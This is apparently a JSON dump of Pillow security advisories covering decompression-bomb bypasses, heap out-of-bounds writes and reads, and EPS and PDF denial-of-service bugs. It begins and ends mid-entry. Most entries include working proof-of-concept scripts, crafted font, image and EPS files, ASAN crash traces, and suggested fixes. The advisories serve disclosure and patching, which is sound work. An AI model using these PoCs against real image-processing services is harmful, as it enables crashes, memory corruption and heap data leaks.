import io, struct, tracemalloc, warnings warnings.filterwarnings(\"ignore\") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels \u2192 above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings(\"error\", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\") warnings.filterwarnings(\"ignore\") # PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack(\" None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError(\"Not a valid GD 2.x .gd file\") self._mode = \"P\" self._size = i16(s, 2), i16(s, 4) # \u2190 unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here \u2190 ... self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")] ``` When `load()` is subsequently called on the returned image object: ```python load() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535)) # \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this ``` **Dimension arithmetic:** | Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** | | `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) | | **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** | | Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) | | Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) | **Comparison with safe sibling plugin (`WalImageFile`):** `WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix: ```python # PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # \u2190 present ``` `GdImageFile` was never updated to match, leaving a gap in protection. ## Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 \"\"\" PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check \"\"\" import io, struct from PIL import GdImageFile, Image # Build minimal 1037-byte GD 2.x palette-mode header: # sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(\">H\", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(\">H\", 65535) # max width h = struct.pack(\">H\", 65535) # max height true_color = b\"\\x00\" # 0 = palette mode tindex = struct.pack(\">I\", 0xFFFFFFFF) # > 255 = no transparency colors_used = b\"\\x00\\x00\" palette_data = b\"\\x00\" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 # Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f\"[BLOCKED] Image.open() path: {e}\") # Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\") print(f\" No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\") # Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535)) try: img.load() except OSError: print(f\"[INFO] load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\") print(f\"\\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\") print(f\"[MATH] Attack file: 1,037 bytes only\") ``` **Expected output:** ``` [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) \u2014 but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0\u00d7 error threshold [MATH] Attack file: 1,037 bytes only ``` **Verified live on Pillow 12.2.0.** **Two attack paths:** | Path | File size | Effect | |---|---|---| | Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike | | Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime | For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file. **Real-world scenario:** ```python from PIL import GdImageFile # Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds \u2014 no bomb check img.load() # triggers 4.3 GB C-heap allocation ``` ## Impact - **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down. - **Confidentiality:** None - **Integrity:** None - **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected - **User interaction:** None Any service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint. Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08."}, {"id": "PYSEC-2026-2255", "fix_versions": ["12.3.0"], "aliases": ["BIT-pillow-2026-55379", "GHSA-45hq-cxwh-f6vc", "CVE-2026-55379"], "description": "### Summary `PIL/BdfFontFile.py` `bdf_char()` (lines 84\u201388) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection. `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 \u00d7 MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) \u2014 no pixel count limit. **Vulnerable code (`PIL/BdfFontFile.py` lines 84\u201388):** ```python # width, height from attacker-controlled \"BBX width height x y\" line try: im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new(\"1\", (width, height)) # \u2190 NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] \u2014 persists in memory ``` **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions. ## Steps to reproduce **Minimal malicious BDF file (270 bytes):** ``` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ``` **Proof of Concept script:** ```python #!/usr/bin/env python3 \"\"\"PoC: BdfFontFile bomb bypass \u2014 270-byte BDF \u2192 50 MB allocation\"\"\" import io, warnings warnings.filterwarnings(\"ignore\") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels \u2192 above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings(\"error\", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\") warnings.filterwarnings(\"ignore\") # Malicious BDF: large BBX + empty BITMAP \u2192 ValueError \u2192 Image.new() without bomb check bdf = f\"\"\"STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT \"\"\".encode() print(f\"[*] BDF file size : {len(bdf)} bytes\") print(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\") print(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)\") BdfFontFile(io.BytesIO(bdf)) # No exception \u2014 bomb check bypassed! print(f\"[!] CONFIRMED: BdfFontFile loaded silently \u2014 {W*H//8//1024**2} MB allocated\") print(f\" Image.open() path would have raised DecompressionBombError\") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently \u2014 47 MB allocated Image.open() path would have raised DecompressionBombError ``` **Amplified attack (multiple glyphs):** A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 \u00d7 7.6 MB = ~1.95 GB` total C-heap allocation \u2014 all silently, bypassing documented bomb protection. ### Impact - **Availability**: HIGH \u2014 attacker-controlled memory allocation per glyph \u00d7 up to 65,536 glyphs - **Confidentiality**: None - **Integrity**: None - Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object \u2014 memory is NOT freed until the font is garbage collected"}, {"id": "PYSEC-2026-3454", "fix_versions": ["12.3.0"], "aliases": ["BIT-pillow-2026-59197", "GHSA-xj96-63gp-2gmr", "CVE-2026-59197"], "description": "### Summary Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size. Minimal public API trigger: ```python from PIL import Image, ImageFilter im = Image.new(\"L\", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` `ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before rank-filter size validation. With `size = 4294967295`, the expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes the output dimensions with unchecked signed `int` arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation. This is reachable through documented public classes (`RankFilter`, `MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom Python object is needed. ### Details Current `src/PIL/ImageFilter.py`: ```python class RankFilter(Filter): def filter(self, image): if image.mode == \"P\": msg = \"cannot filter palette images\" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ``` The `expand()` call is made before `image.rankfilter(...)`. Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size overflow: ```c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError(\"bad kernel size\"); } imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin ); ``` For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size wraps to `1x1` on tested builds. The following loop still uses the huge margin: ```c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ``` `src/libImaging/RankFilter.c` does contain checks that would reject this size: ```c if (!(size & 1)) { return (Imaging)ImagingError_ValueError(\"bad filter size\"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError(\"filter size too large\"); } ``` But those checks are reached only after `RankFilter.filter()` has already called `image.expand(...)`. Mode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write. ### PoC Minimal ASAN crash PoC: ```python from PIL import Image, ImageFilter im = Image.new(\"L\", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ``` 4-byte write variant with source pixel loaded from normal image bytes: ```python from io import BytesIO from PIL import Image, ImageFilter SIZE = 4294967295 PIXEL = 0x41424344 src = BytesIO() Image.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\") im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == \"I\" assert im.getpixel((0, 0)) == PIXEL im.filter(ImageFilter.MedianFilter(SIZE)) ``` Observed ASAN signature: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ``` Version checks: ```text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ``` ### Impact It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes. Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode `\"I\"` images. ## Possible fix Validate the rank-filter size before calling `image.expand(...)`, and harden `ImagingExpand()` against invalid margins and overflow: ```c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError(\"bad kernel size\"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError(\"bad kernel size\"); } ```"}, {"id": "PYSEC-2026-3451", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-59199", "GHSA-6r8x-57c9-28j4", "BIT-pillow-2026-59199"], "description": "### Summary Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as `RGBA`, this becomes a controlled backward heap underwrite: for a source image of width `W`, Pillow writes `4 * W` attacker-controlled bytes starting `4 * W` bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row. Minimal public API trigger: ```python from PIL import Image INT_MIN = -(1 << 31) src = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new(\"RGBA\", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1)) ``` The same root cause is also reachable through `Image.crop()` and `Image.alpha_composite()`. No private API, ctypes, custom Python object, or malformed image file is needed. This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with `double free or corruption (out)` ### Details `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the native `ImagingCore.paste()` method: ```python self.im.paste(source, box) ``` `src/_imaging.c:_paste()` parses the four Python coordinates into signed `int` values and calls `ImagingPaste()`: ```c int x0, y0, x1, y1; PyArg_ParseTuple(args, \"O(iiii)|O!\", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1); ``` `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region using signed `int` arithmetic: ```c xsize = dx1 - dx0; ysize = dy1 - dy0; if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; } ``` With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to `2`. That matches the 2-pixel source image, so the size check passes. The later `dx0 + xsize` clip check wraps around and does not reject the out-of-bounds destination. For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies `dx` by `pixelsize`: ```c dx *= pixelsize; xsize *= pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize); ``` For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation. The primitive scales with the attacker-controlled source width: ```text source width = W box = ((1 << 31) - W, 0, INT_MIN, 1) C destination offset = -4 * W C memcpy size = 4 * W write range = [row_start - 4W, row_start) ``` Examples for `RGBA`: ```text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row ``` Pillow's image creation guard currently limits `xsize` to roughly `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA` underwrite is `2,147,483,640` bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state. Two other documented APIs reach the same sink: ```python # Image.crop() path left = INT_MIN + 2 Image.new(\"RGBA\", (2, 1)).crop((left, 0, left + 2, 1)) # Image.alpha_composite() path, via its internal crop() base = Image.new(\"RGBA\", (2, 1)) over = Image.new(\"RGBA\", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alpha_composite(over, dest=(left, 0)) ``` `Image.crop()` keeps `right - left` small, so the Python decompression-bomb check allows it. `src/libImaging/Crop.c` then computes wrapped paste coordinates and calls `ImagingPaste()`. ### PoC The following standalone script exercises all three public API paths. Save it as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`. ```python #!/usr/bin/env python3 import argparse import sys from PIL import Image INT_MIN = -(1 << 31) def rgba_pattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out) def main(): parser = argparse.ArgumentParser() parser.add_argument( \"variant\", choices=(\"paste\", \"crop\", \"alpha\"), nargs=\"?\", default=\"paste\", ) parser.add_argument(\"-w\", \"--width\", type=int, default=2) args = parser.parse_args() width = args.width src = Image.frombytes(\"RGBA\", (width, 1), rgba_pattern(width)) if args.variant == \"paste\": box = ((1 << 31) - width, 0, INT_MIN, 1) dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0)) print(f\"variant=paste box={box}\") print(f\"expected C dst offset={-4 * width}, write_size={4 * width}\") sys.stdout.flush() dst.paste(src, box) print(\"paste returned; first row:\", dst.tobytes().hex()) elif args.variant == \"crop\": left = INT_MIN + width box = (left, 0, left + width, 1) print(f\"variant=crop box={box}\") sys.stdout.flush() out = src.crop(box) print(\"crop returned; output:\", out.tobytes().hex()) else: dest = (INT_MIN + width, 0) dst = Image.new(\"RGBA\", (max(8, width), 1), (0, 0, 0, 0)) print(f\"variant=alpha dest={dest}\") sys.stdout.flush() dst.alpha_composite(src, dest=dest) print(\"alpha_composite returned; first row:\", dst.tobytes().hex()) sys.stdout.flush() if __name__ == \"__main__\": main() ``` Run against an ASAN build: ```bash env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\ python b021_poc.py paste env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\ python b021_poc.py crop env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \\ python b021_poc.py alpha ``` Observed ASAN signature for the direct `Image.paste()` path: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 _paste /out/src/src/_imaging.c:1461 0x... is located 8 bytes before 32-byte region ``` On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal `Image.paste()` trigger returns from `paste()` and then the process aborts during cleanup with: ```text double free or corruption (out) Aborted (core dumped) ``` Observed ASAN signature for the `Image.crop()` and `Image.alpha_composite()` paths: ```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 _crop /out/src/src/_imaging.c:1090 ``` ## Suggested fix Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints. For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons: ```c int64_t xsize64 = (int64_t)dx1 - dx0; int64_t ysize64 = (int64_t)dy1 - dy0; if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { return ImagingError_ValueError(\"bad box\"); } ``` `ImagingCrop()` should receive the same treatment for `sx1 - sx0`, `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`. ### Impact This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs. Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct `Image.paste()` variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose offset and length are both `4 * source_width`, bounded in practice by successful image allocation and heap layout."}, {"id": "PYSEC-2026-3494", "fix_versions": ["12.3.0"], "aliases": ["GHSA-fj7v-r99m-22gq", "BIT-pillow-2026-59198", "CVE-2026-59198"], "description": "### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `\"1\"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format=\"TGA\", compression=\"tga_rle\") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `\"1\"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ### Details `src/PIL/TgaImagePlugin.py` allows mode `\"1\"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `\"1\"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `\"1\"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ### PoC #### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new(\"1\", (2, 1)).save(out, format=\"TGA\", compression=\"tga_rle\") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` #### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b\"\" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new(\"1\", (WIDTH, 1), 0).save(out, format=\"TGA\", compression=\"tga_rle\") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open(\"/tmp/max_oob_bytes.bin\", \"wb\") as fp: fp.write(best) print(f\"Pillow={PIL.__version__}\") print(f\"packed_row_bytes={ROW_BYTES}\") print(f\"maximum_oob_window={MAX_OOB_WINDOW}\") print(f\"serialized_distinct_oob_offsets={len(best)}\") print(f\"nonzero_oob_bytes={sum(byte != 0 for byte in best)}\") print(f\"coverage={len(best) / MAX_OOB_WINDOW:.2%}\") print(f\"sha256={hashlib.sha256(best).hexdigest()}\") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file."}, {"id": "PYSEC-2026-3452", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-59203", "GHSA-pg7v-jwj7-p798", "BIT-pillow-2026-59203"], "description": "### Summary Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service. The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution. Confirmed affected versions: Pillow 12.0.0 through 12.2.0. ### Details The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative. Relevant code: elif bytes_mv[:14] == b\"%%BeginBinary:\": bytecount = int(byte_arr[14:bytes_read]) self.fp.seek(bytecount, os.SEEK_CUR) There is no validation that bytecount is non-negative. If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU. In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path. ### PoC Save the following content as pillow_eps_beginbinary_dos.eps: %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF Then run: python -m pip install \"Pillow==12.2.0\" python - <<'PY' from PIL import Image Image.open(\"pillow_eps_beginbinary_dos.eps\") PY Expected behavior: Pillow should reject the malformed EPS file with a parser exception. Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU. The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again: LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 ### Impact This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open(). This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected. Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR)."}, {"id": "PYSEC-2026-3495", "fix_versions": ["12.3.0"], "aliases": ["CVE-2026-59200", "BIT-pillow-2026-59200", "GHSA-jjj6-mw9f-p565"], "description": "### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit \u2014 the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python # PIL/PdfParser.py \u2014 PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b\"Filter\"] except KeyError: return self.buf if filter == b\"FlateDecode\": try: expected_length = self.dictionary[b\"DL\"] except KeyError: expected_length = self.dictionary[b\"Length\"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *\"The `bufsize` parameter is used as the initial size of the output buffer.\"* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream 